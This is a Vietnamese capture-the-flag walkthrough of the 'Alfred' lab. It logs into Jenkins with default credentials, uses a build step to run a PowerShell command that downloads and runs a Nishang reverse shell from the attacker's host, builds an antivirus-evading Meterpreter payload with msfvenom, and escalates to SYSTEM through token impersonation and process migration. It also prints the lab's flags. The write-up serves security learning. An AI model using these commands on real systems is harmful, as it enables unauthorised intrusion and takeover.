Icon

Alfred

Exploit Jenkins to gain an initial shell, then escalate your privileges by exploiting Windows authentication tokens.

November 4, 2025 July 25, 2025 Easy
Author Author Hung Nguyen Tuong

Initial Reconnaissance

Service Scanning

$ sudo nmap -A -Pn -v 10.10.205.101

PORT     STATE SERVICE    VERSION
80/tcp   open  http       Microsoft IIS httpd 7.5
| http-methods:
|   Supported Methods: OPTIONS TRACE GET HEAD POST
|_  Potentially risky methods: TRACE
|_http-server-header: Microsoft-IIS/7.5
|_http-title: Site doesn't have a title (text/html).
3389/tcp open  tcpwrapped
8080/tcp open  http       Jetty 9.4.z-SNAPSHOT
| http-robots.txt: 1 disallowed entry
|_/
|_http-favicon: Unknown favicon MD5: 23E8C7BD78E8CD826C5A6073B15068B1
|_http-title: Site doesn't have a title (text/html;charset=utf-8).
|_http-server-header: Jetty(9.4.z-SNAPSHOT)
Warning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed port
Device type: general purpose|phone
Running (JUST GUESSING): Microsoft Windows 2008|7|Vista|2012|8.1|Phone (92%)
OS CPE: cpe:/o:microsoft:windows_server_2008:r2 cpe:/o:microsoft:windows_7 cpe:/o:microsoft:windows_vista cpe:/o:microsoft:windows_server_2012:r2 cpe:/o:microsoft:windows_8 cpe:/o:microsoft:windows_8.1:r1 cpe:/o:microsoft:windows
Aggressive OS guesses: Microsoft Windows 7 or Windows Server 2008 R2 (92%), Microsoft Windows Server 2008 R2 SP1 (90%), Microsoft Windows Vista or Windows 7 (87%), Microsoft Windows Server 2012 R2 (85%), Microsoft Windows Server 2008 (85%), Microsoft Windows Server 2008 R2 or Windows 7 SP1 (85%), Microsoft Windows Server 2008 R2 or Windows 8 (85%), Microsoft Windows 7 SP1 (85%), Microsoft Windows 8.1 R1 (85%), Microsoft Windows Phone 7.5 or 8.0 (85%)
No exact OS matches for host (test conditions non-ideal).
Uptime guess: 0.008 days (since Fri Jul 25 16:11:22 2025)
Network Distance: 5 hops
TCP Sequence Prediction: Difficulty=261 (Good luck!)
IP ID Sequence Generation: Incremental
Service Info: OS: Windows; CPE: cpe:/o:microsoft:windows

Kết quả scan cho thấy target đang chạy Windows, nhiều khả năng là Windows Server 2008 R2 hoặc Windows 7 SP1. Với Microsoft IIS 7.5 ở port 80, Jetty 9.4 bản snapshot ở port 8080, và RDP mở trên port 3389.

Ta sẽ kiểm tra website tại port 8080 trước bởi có thể ta sẽ thu được nhiều thông tin hơn port 80.

HTTP 8080

Chúng ta bị chuyển hướng đến trang login của Jenkins.

Jenkins là một automation server mã nguồn mở, được dùng để tự động hóa quá trình build, test và deploy phần mềm. Đây là một công cụ phổ biến trong các pipeline CI/CD.

image.png

Chúng ta có thể thử tìm trên Google các default credentials của Jenkins.

image.png

Dashboard Administrative Access

Sau đó chúng ta đăng nhập thành công bằng cặp credentials admin:admin và truy cập được vào Jenkins administrative dashboard.

image.png

Theo HackTricks, Jenkins cho phép chúng ta thực thi tùy ý các Windows batch command.

Đầu tiên, mở một project có sẵn. Sau đó vào phần Configure. Tiếp tục kéo xuống mục “Build Environment”.

image.png

image.png

image.png

Ở đây, chúng ta thiết lập một reverse shell bằng script Invoke-PowerShellTcp.ps1 từ Nishang repository

Trước tiên, chúng ta khởi chạy một HTTP server trên máy của mình.

image.png

Sau đó sử dụng command để download và thực thi payload reverse shell.

powershell iex (New-Object Net.WebClient).DownloadString('http://10.17.21.52/Invoke-PowerShellTcp.ps1');Invoke-PowerShellTcp -Reverse -IPAddress 10.17.21.52 -Port 4242

image.png

Cuối cùng, nhấn Build Now để thực thi command và kích hoạt reverse shell.

image.png

Shell as bruce

Chúng ta đã chiếm được initial access vào hệ thống dưới quyền user bruce.

image.png

Theo output của command systeminfo, hệ thống đang chạy Microsoft Windows 7 Ultimate phiên bản 64-bit.

user.txt

PS C:\Program Files (x86)\Jenkins\workspace\project> cd C:\Users
PS C:\Users> dir

    Directory: C:\Users

Mode                LastWriteTime     Length Name
----                -------------     ------ ----
d----        10/25/2019   8:05 PM            bruce
d----        10/25/2019  10:21 PM            DefaultAppPool
d-r--        11/21/2010   7:16 AM            Public

PS C:\Users> cd bruce
PS C:\Users\bruce> dir

    Directory: C:\Users\bruce

Mode                LastWriteTime     Length Name
----                -------------     ------ ----
d----        10/25/2019   8:05 PM            .groovy
d-r--        10/25/2019   9:51 PM            Contacts
d-r--        10/25/2019  11:22 PM            Desktop
d-r--        10/26/2019   4:43 PM            Documents
d-r--        10/26/2019   4:43 PM            Downloads
d-r--        10/25/2019   9:51 PM            Favorites
d-r--        10/25/2019   9:51 PM            Links
d-r--        10/25/2019   9:51 PM            Music
d-r--        10/25/2019  10:26 PM            Pictures
d-r--        10/25/2019   9:51 PM            Saved Games
d-r--        10/25/2019   9:51 PM            Searches
d-r--        10/25/2019   9:51 PM            Videos

PS C:\Users\bruce> cd Desktop
PS C:\Users\bruce\Desktop> dir

    Directory: C:\Users\bruce\Desktop

Mode                LastWriteTime     Length Name
----                -------------     ------ ----
-a---        10/25/2019  11:22 PM         32 user.txt

PS C:\Users\bruce\Desktop> type user.txt
79007a09481963edf2e1321abd9ae2a0

Switch to a Meterpreter Shell

Dựa trên thông tin về hệ điều hành này, chúng ta tạo một reverse Meterpreter shell payload bằng msfvenom, sử dụng encoding x86/shikata_ga_nai để giúp tránh bị phát hiện bởi antivirus.

┌──(hungnt㉿kali)-[~/Desktop]
└─$ msfvenom -p windows/meterpreter/reverse_tcp -a x86 -e x86/shikata_ga_nai LHOST=10.17.21.52 LPORT=4444 -f exe -o sh.exe
[-] No platform was selected, choosing Msf::Module::Platform::Windows from the payload
Found 1 compatible encoders
Attempting to encode payload with 1 iterations of x86/shikata_ga_nai
x86/shikata_ga_nai succeeded with size 381 (iteration=0)
x86/shikata_ga_nai chosen with final size 381
Payload size: 381 bytes
Final size of exe file: 73802 bytes
Saved as: sh.exe

Tiếp theo, chúng ta cấu hình một Metasploit handler.

image.png

Sau đó, chuyển payload sang target system và thực thi thông qua kết nối reverse shell ta đã thiết lập trước đó.

PS C:\Program Files (x86)\Jenkins\workspace\project> powershell "(New-Object System.Net.WebClient).Downloadfile('http://10.17.21.52/sh.exe','sh.exe')"
PS C:\Program Files (x86)\Jenkins\workspace\project> dir

    Directory: C:\Program Files (x86)\Jenkins\workspace\project

Mode                LastWriteTime     Length Name
----                -------------     ------ ----
-a---         7/25/2025  10:55 AM      73802 sh.exe

PS C:\Program Files (x86)\Jenkins\workspace\project> Start-Process "sh.exe"
msf6 exploit(multi/handler) > run
[*] Started reverse TCP handler on 10.17.21.52:4444
[*] Sending stage (177734 bytes) to 10.10.205.101
[*] Meterpreter session 1 opened (10.17.21.52:4444 -> 10.10.205.101:49233) at 2025-07-25 16:56:19 +0700

meterpreter > shell
Process 1956 created.
Channel 1 created.
Microsoft Windows [Version 6.1.7601]
Copyright (c) 2009 Microsoft Corporation.  All rights reserved.

C:\Program Files (x86)\Jenkins\workspace\project>

Shell as SYSTEM

Hiện tại, user bruce có các quyền như sau:

C:\Program Files (x86)\Jenkins\workspace\project>whoami /priv
whoami /priv

PRIVILEGES INFORMATION
----------------------

Privilege Name                  Description                               State
=============================== ========================================= ========
SeIncreaseQuotaPrivilege        Adjust memory quotas for a process        Disabled
SeSecurityPrivilege             Manage auditing and security log          Disabled
SeTakeOwnershipPrivilege        Take ownership of files or other objects  Disabled
SeLoadDriverPrivilege           Load and unload device drivers            Disabled
SeSystemProfilePrivilege        Profile system performance                Disabled
SeSystemtimePrivilege           Change the system time                    Disabled
SeProfileSingleProcessPrivilege Profile single process                    Disabled
SeIncreaseBasePriorityPrivilege Increase scheduling priority              Disabled
SeCreatePagefilePrivilege       Create a pagefile                         Disabled
SeBackupPrivilege               Back up files and directories             Disabled
SeRestorePrivilege              Restore files and directories             Disabled
SeShutdownPrivilege             Shut down the system                      Disabled
SeDebugPrivilege                Debug programs                            Enabled
SeSystemEnvironmentPrivilege    Modify firmware environment values        Disabled
SeChangeNotifyPrivilege         Bypass traverse checking                  Enabled
SeRemoteShutdownPrivilege       Force shutdown from a remote system       Disabled
SeUndockPrivilege               Remove computer from docking station      Disabled
SeManageVolumePrivilege         Perform volume maintenance tasks          Disabled
SeImpersonatePrivilege          Impersonate a client after authentication Enabled
SeCreateGlobalPrivilege         Create global objects                     Enabled
SeIncreaseWorkingSetPrivilege   Increase a process working set            Disabled
SeTimeZonePrivilege             Change the time zone                      Disabled
SeCreateSymbolicLinkPrivilege   Create symbolic links                     Disabled

Chúng ta nhận thấy SeImpersonatePrivilege đang được bật, cho phép impersonate token của SYSTEM hoặc Administrators. Ngoài ra SeDebugPrivilege cũng được bật.

Sử dụng command list_tokens từ extension incognito, chúng ta có thể xem các token mà Meterpreter process trên target system có thể impersonate.

C:\Program Files (x86)\Jenkins\workspace\project>^Z
Background channel 1? [y/N]  y
meterpreter > load incognito
Loading extension incognito...Success.
meterpreter > list_tokens -g
[-] Warning: Not currently running as SYSTEM, not all tokens will be available
             Call rev2self if primary process token is SYSTEM

Delegation Tokens Available
========================================
\
BUILTIN\Administrators
BUILTIN\Users
NT AUTHORITY\Authenticated Users
NT AUTHORITY\NTLM Authentication
NT AUTHORITY\SERVICE
NT AUTHORITY\This Organization
NT SERVICE\AudioEndpointBuilder
NT SERVICE\CertPropSvc
NT SERVICE\CscService
NT SERVICE\iphlpsvc
NT SERVICE\LanmanServer
NT SERVICE\PcaSvc
NT SERVICE\Schedule
NT SERVICE\SENS
NT SERVICE\SessionEnv
NT SERVICE\TrkWks
NT SERVICE\UmRdpService
NT SERVICE\UxSms
NT SERVICE\Winmgmt
NT SERVICE\wuauserv

Impersonation Tokens Available
========================================
No tokens available

Chúng ta thử impersonate token của Administrators.

meterpreter > impersonate_token "BUILTIN\Administrators"
[-] Warning: Not currently running as SYSTEM, not all tokens will be available
             Call rev2self if primary process token is SYSTEM
[+] Delegation token available
[+] Successfully impersonated user NT AUTHORITY\SYSTEM
meterpreter > getuid
Server username: NT AUTHORITY\SYSTEM

Tuy nhiên, điều này vẫn chưa đủ để có được full SYSTEM privileges, bởi vì chỉ một thread trong Meterpreter process impersonate token đó, chứ không phải toàn bộ process, và primary token vẫn không thay đổi. Quyền SYSTEM ta thấy chỉ là trên thread đó, một số hành động yêu cầu primary token là SYSTEM (ví dụ: tạo process mới với quyền SYSTEM, nạp driver, truy cập LSASS memory) sẽ vẫn bị chặn.

Do đó, cần phải migrate Meterpreter payload sang một process khác mà primary token của nó đã sẵn thuộc về SYSTEM. Khi đó ta mới thực sự có full SYSTEM privileges, không chỉ là impersonation token tạm thời. Nhưng để thực hiện điều này, SeDebugPrivilege phải được bật.

Chúng ta xác định services.exe là process phù hợp để migrate, bởi vì nó được khởi chạy dưới quyền NT AUTHORITY\SYSTEM.

meterpreter > ps

Process List
============

 PID   PPID  Name                  Arch  Session  User                          Path
 ---   ----  ----                  ----  -------  ----                          ----
 0     0     [System Process]
 4     0     System                x64   0
 396   4     smss.exe              x64   0        NT AUTHORITY\SYSTEM           C:\Windows\System32\smss.exe
 524   516   csrss.exe             x64   0        NT AUTHORITY\SYSTEM           C:\Windows\System32\csrss.exe
 572   564   csrss.exe             x64   1        NT AUTHORITY\SYSTEM           C:\Windows\System32\csrss.exe
 580   516   wininit.exe           x64   0        NT AUTHORITY\SYSTEM           C:\Windows\System32\wininit.exe
 608   564   winlogon.exe          x64   1        NT AUTHORITY\SYSTEM           C:\Windows\System32\winlogon.exe
 668   580   services.exe          x64   0        NT AUTHORITY\SYSTEM           C:\Windows\System32\services.exe
 676   580   lsass.exe             x64   0        NT AUTHORITY\SYSTEM           C:\Windows\System32\lsass.exe
 684   580   lsm.exe               x64   0        NT AUTHORITY\SYSTEM           C:\Windows\System32\lsm.exe
 772   668   svchost.exe           x64   0        NT AUTHORITY\SYSTEM           C:\Windows\System32\svchost.exe
...
...
meterpreter > migrate 668
[*] Migrating from 2244 to 668...
[*] Migration completed successfully.

root.txt

meterpreter > cd "C:\Windows\System32\config"
meterpreter > dir
Listing: C:\Windows\System32\config
===================================

Mode              Size      Type  Last modified              Name
----              ----      ----  -------------              ----
100666/rw-rw-rw-  28672     fil   2019-10-26 04:46:26 +0700  BCD-Template
100666/rw-rw-rw-  25600     fil   2019-10-26 04:46:26 +0700  BCD-Template.LOG
...
040777/rwxrwxrwx  4096      dir   2019-10-26 03:47:38 +0700  TxR
100666/rw-rw-rw-  70        fil   2019-10-26 18:36:00 +0700  root.txt
040777/rwxrwxrwx  4096      dir   2010-11-21 09:41:37 +0700  systemprofile

meterpreter > cat root.txt
��dff0f748678f280250f25a45b8046b4a